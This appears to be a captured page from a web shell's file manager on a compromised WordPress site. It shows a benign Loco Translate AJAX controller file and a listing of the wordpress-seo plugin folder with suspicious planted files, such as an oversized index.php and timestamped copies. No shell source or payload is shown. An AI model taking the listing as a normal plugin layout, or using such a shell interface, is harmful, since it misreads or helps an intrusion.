Submit
Path:
~
/
home
/
bfxleof
/
www
/
wp-content
/
plugins
/
wordpress-seo
/
src
/
deprecated
/
frontend
/
File Content:
AjaxController.php
<?php /** * */ abstract class Loco_mvc_AjaxController extends Loco_mvc_Controller { /** * Request arguments injected from Router * @var ArrayObject */ private $input; /** * Data to respond with as JSON * @var ArrayObject */ private $output; /** * Pre-init call invoked by router * @param mixed[] * @return void */ final public function _init( array $args ){ $this->auth(); $this->output = new ArrayObject; $this->input = new ArrayObject( $args ); // avoid fatal error if json extension is missing loco_check_extension('json'); } /** * Get posted data and validate nonce in the process * @return Loco_mvc_PostParams */ protected function validate(){ $route = $this->input['route']; if( ! $this->checkNonce($route) ){ throw new Loco_error_Exception( sprintf('Ajax %s action requires postdata with nonce',$route) ); } return Loco_mvc_PostParams::get(); } /** * {@inheritdoc} */ public function get( $prop ){ return isset($this->input[$prop]) ? $this->input[$prop] : null; } /** * {@inheritdoc} */ public function set( $prop, $value ){ $this->output[$prop] = $value; return $this; } /** * @return string JSON */ public function render(){ $data = array ( 'data' => $this->output->getArrayCopy(), ); // non-fatal notices deliberately not in "error" key $array = Loco_error_AdminNotices::destroyAjax(); if( $array && is_array($array) ){ $data['notices'] = $array; } return json_encode( $data ); } /** * Pretty json encode if PHP version allows * protected function json_encode( $data ){ $opts = 0; if( defined('JSON_PRETTY_PRINT') ){ $opts |= JSON_PRETTY_PRINT; } if( defined('JSON_UNESCAPED_SLASHES') ){ $opts |= JSON_UNESCAPED_SLASHES; } return json_encode( $data, $opts ); }*/ }
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
schema
---
0755
.DS_Store
10234 bytes
0644
AjaxController.php
2162 bytes
0644
DownloadConfController.php
945 bytes
0644
abstract-class-deprecated-schema-piece.php
2291 bytes
0644
article-modified-time-presenter.php
609 bytes
0644
breadcrumbs.php
3272 bytes
0644
class-frontend-page-type.php
1822 bytes
0644
class-handle-404.php
766 bytes
0644
class-metabox-formatter-20260704011520.php
12602 bytes
0644
class-metabox-formatter.php
12602 bytes
0644
class-opengraph-image.php
757 bytes
0644
class-option-tabs-formatter.php
2321 bytes
0644
class-primary-category.php
1059 bytes
0644
class-sitemaps-admin-20260703023908.php
3665 bytes
0644
class-sitemaps-admin.php
3665 bytes
0644
class-taxonomy-columns.php
7324 bytes
0644
class-twitter.php
1051 bytes
0644
class-yoast-plugin-conflict.php
10390 bytes
0644
define.php
4567 bytes
0644
duplicator-en_US.mo
582 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500.php
48544 bytes
0644
environment-helper.php
596 bytes
0644
exceptions.php
708 bytes
0644
frontend.php
7630 bytes
0644
inc.validator.php
5401 bytes
0644
index.php
157663 bytes
0644
loco.php
5626 bytes
0644
loco.xml
657 bytes
0644
manager.php
14659 bytes
0644
meta-fields-presenter.php
1600 bytes
0644
quick-edit-handler-1650.js
1848 bytes
0644
uninstall.php
4401 bytes
0644
wordpress-seo-es_ES.json
25583 bytes
0644
wordpress-seojs-ar.json
25925 bytes
0644
wordpress-seojs-bs_BA.json
13790 bytes
0644
wordpress-seojs-fi.json
19387 bytes
0644
wordpress-seojs-it_IT.json
20244 bytes
0644
wordpress-seojs-ja.json
21424 bytes
0644
N4ST4R_ID | Naxtarrr